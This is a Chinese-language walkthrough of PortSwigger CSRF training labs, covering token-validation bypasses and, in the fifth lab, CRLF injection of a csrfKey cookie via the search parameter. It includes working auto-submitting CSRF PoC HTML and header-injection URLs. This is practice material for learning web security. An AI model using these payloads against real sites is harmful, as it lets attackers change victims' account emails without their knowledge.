CSRF_exercise
CSRF(Cross-Site Request Forgery)攻击,也称为“跨站请求伪造”攻击,是一种利用用户已登录的身份在用户不知情的情况下,向服务器发送恶意请求的攻击方式。攻击者可以通过构造一些针对被攻击网站的特定请求,然后引导用户点击恶意链接或者访问恶意网站,从而实现对被攻击网站的攻击。
攻击的原理是攻击者构造一个恶意网站,当用户访问恶意网站时,网站会向被攻击网站发送请求,因为用户在被攻击网站已经登录,所以被攻击网站会认为这个请求是合法的,然后执行该请求,从而导致攻击成功。
为了防止 CSRF 攻击,常见的防御措施包括在请求中添加 token 验证、检查 Referer 头部等。其中,token 验证是最常用的防御措施,其原理是在用户登录时生成一个 token,每次用户发起请求时,将该 token 与请求一起提交,服务器端会校验 token 的合法性,如果不合法则拒绝该请求。这样攻击者无法构造一个合法的 token,从而避免了 CSRF 攻击。
一、因没有设置CSRF防御引起的攻击
lab1:CSRF vulnerability with no defenses
地址:https://portswigger.net/web-security/csrf/lab-no-defenses
按实验给定的账号密码登入:
抓上面这个页面的包
在这个页面构造CSRF_POC
生成一个html文件发送并点击
成功修改邮箱。
二、token处引起的CSRF
lab2.CSRF where token validation depends on request method
核心在于:其中令牌验证(token)取决于请求方法
首先登入
抓取该页面的包
改传参方式+去掉token(csrf字段)即可
生成csrf POC
lab3.CSRF,其中令牌验证取决于令牌的存在
链接如上;
某些应用程序在存在时正确验证令牌,但如果省略令牌,则会跳过验证。
在这种情况下,攻击者 可以删除包含令牌 (不仅仅是其值)的整个参数,以绕过验证并提供CSRF攻击
简单粗暴了属于是;
- 和上述实验一样
- 删掉Token看看响应包
- 然后生成html发给用户
抓包:
去掉token发送
生成POC
lab4、CSRF Token 未与用户会话绑定
有的应用系统仅会验证CSRF Token的有效性,而 不会验证该Token是否属于当前用户 ,即不会与用户会话绑定
- 用carlos登录改邮箱时抓包记录token
- drop掉!!
留住token:8LEbPyKEA5Rpf0IpklVArWZf81YtTWdB
不要用掉,把包
- 登录wiener抓包 发给repeater,然后要把包drop掉,把token改成刚刚记录的carlos的
修改前:(注意token)
修改后:(换成没有用的token)
成功
lab5、CSRF where token is tied to non-session cookie
token绑定了非对话session
大概意思就是说当前token并未与当前用户的session绑定在一起
- 登录并更改邮件,在历史中查看
- 发送到repeater
- 更改session,用户被退出
- 更改csrfkey, CSRF token being rejected
- 两个不同的结果对比:可能 csrf cookie不与session绑定
- 证明一下登录另一个用户,使用第一个用户的csrfkey和token,OK的
- 在repeater中search可以看到回显在Set-cookie头部,可以将cookie注入在受害者的浏览器/?search=test%0d%0aSet-Cookie:%20csrfKey=1cHUxuOlfWrNhJMApSRjDYXAaPCtVMnC
1、分析token
抓一个修改邮箱地址的包,可以看到有token,
在repeter中发送了两下,发现token是可以重复利用的。
并且又发现 在cookie中有一个csrfKey的东西,猜测是token(csrf)与它绑定着。
接下来就要分析
:::success
2、分析token与csrfKey Cookie的关系
提交一个错误的CSRFtoken(只修改csrf,但发现400)
提交一个来自其他用户的CSRFtoken (判断token与CSRFKey Cookeies的关系。是否绑定在一起,类似于上一关的验证方法)
登录calous的账号抓这个页面的改邮箱包
替换csrf参数(即token)发包,失败
这里其实就说明csrfkey与csrf参数(token)绑定的,但是保险起见再去试试只替换csrfkey,不出所料的失败了;
(通过这些步骤发现token与csrfkey绑定在一起的)
3、把俩都改掉!
:::success
现在我们的整体思路就是
1、在被攻击的浏览器中插入一个http Cookie:csrfKey 。它的值就是我们已知A用户的就行。
2、将csrfpoc发送给被攻击者,即可成功。
注意:csrfKey和token 必须为一对!!!
4、修改Cookie中的Lastsearch与csrfKEY(要与当前用户的csrftoken绑定在一起)
现在已经知道了,csrfKey和token是一对的,所以我们要向被攻击者的浏览器去修改csrfkey的Cookie。
通过查询功能可以看出,当查询一个东西时,会向当前页面插入一个cookie,此时是否可以通过修改抓包,修改包,将我们的csrfKey Cookie插入到浏览器中。
通过抓包、可以看出在 search后的hat和Set-Cookie彷佛有着联系。
将自己的csrf和csrfkey注入到对方的浏览器中.
通过在首页搜索发现,搜索东西时会带有csrfkey
通过这段payload
/?search=hat%0b%0aSet-Cookie:%20csrfKey=值
即可成功修改csrfKey
/?search=hat%0b%0aSet-Cookie:%20csrfKey=6mI6iSJ9eynrv3S9qPYLO8XSnEkxB6Zc;
此时要理清的是,这能运行是因为我们执行了一个url进行了一段数据的查询,修改了一段url使其结果朝着我们想要的方向发展。
只要访问这段连接即可修改cookie
:::success
4、生成CSRF_POC
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0aa5008c03fca791812f5728002a0014.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="123456789@111" />
<input type="hidden" name="csrf" value="OVSYJmOpsf83PU9wyI0LvBU7eAgnLeF3" />
<input type="submit" value="Submit request" />
</form>
</body>
<img src="https://0aa5008c03fca791812f5728002a0014.web-security-academy.net/?search=hat%0d%0aSet-Cookie:%20csrfKey=aoDGGZ2dviohZ9cBbLlejpaDeNczuyGr%3b%20SameSite=None" onerror="document.forms[0].submit()">
</html>
访问即可修改邮箱触发csrf;
5、最后梳理一下
1、猜想:
要想有CSRF漏洞,那么必须得参数可控,如果 csrf , csrfKey , session 三者互相绑定在一起,那么就没戏.
如果csrf和csrfkey是互相绑定的,但是session没有和他们绑定,那就相当于靶场4,一样可以绕过.
2、测试csrfKey和csrf是否绑定.
思路:使用B账号的csrfkey和A账号的csrf值进行测试,如果成功修改了邮箱,说明csrfkey和csrf未绑定,反之则绑定了.
测试账号B时发现csrfKey和csrf可以多次使用
现在将账号B中的csrfkey替换为A的=====》不行
现在将账号B中的csrf替换为A的=====》不行
现在将账号B中的csrf和csrfkey全部替换为A的=====》成功
说明session没有和csrf,csrfkey绑定,可以利用该缺陷进行csrf攻击,因为已经满足条件,csrf和csrfkey自己便可以生成.
3、将自己的csrf和csrfkey注入到对方的浏览器中.
通过在首页搜索发现,搜索东西时会带有csrfkey
因此我们可以利用搜索栏搜索时顺带注入csrfkey(本用户的删不删都行,最好删掉,因为这个靶场可以覆盖)
我们可以使用如下payload将其替换为自己的csrfkey
/?search=test%0d%0aSet-Cookie:%20csrfKey=xxx
4、构造POC
接下来登录A的账号在修改邮箱页面构造出如下所示的poc
这个页面只有session是原先A的,csrfkey通过cookie注入进去了,csrf通过改包放进去了
一个误点:为什么不把csrfkey和csrf直接在包里改掉?
因为:1.莫名其妙的触发不出来; 2、csrf通过cookie注入既可以注入到cookie也可以触发onerror事件标签,一举两得。
POC
<img src="https://xxx.web-security-academy.net/?search=ddosi.org%0d%0aSet-Cookie:%20csrfKey=GwWIachNBZVlLaGvsiEv4Fs9rPXe6IBN%3b%20SameSite=None" onerror="document.forms[0].submit()">
疑问
改了csrfkey和csrf后构造了不存在的链接(https://0a1600ad046bbf2687f3973d00c20013.web-security-academy.net/?search=ddosi.org%0d%0a&sdha=sakdjasldhscxh54645)发现还是不行
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a1600ad046bbf2687f3973d00c20013.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="123456789@111" />
<input type="hidden" name="csrf" value="NSkTHaqdXDpM1pO7wmqIadg8T5prC44z" />
<input type="submit" value="Submit request" />
</form>
</body>
<img src="https://0a1600ad046bbf2687f3973d00c20013.web-security-academy.net/?search=ddosi.org%0d%0a&sdha=sakdjasldhscxh54645" onerror="document.forms[0].submit()">
</html>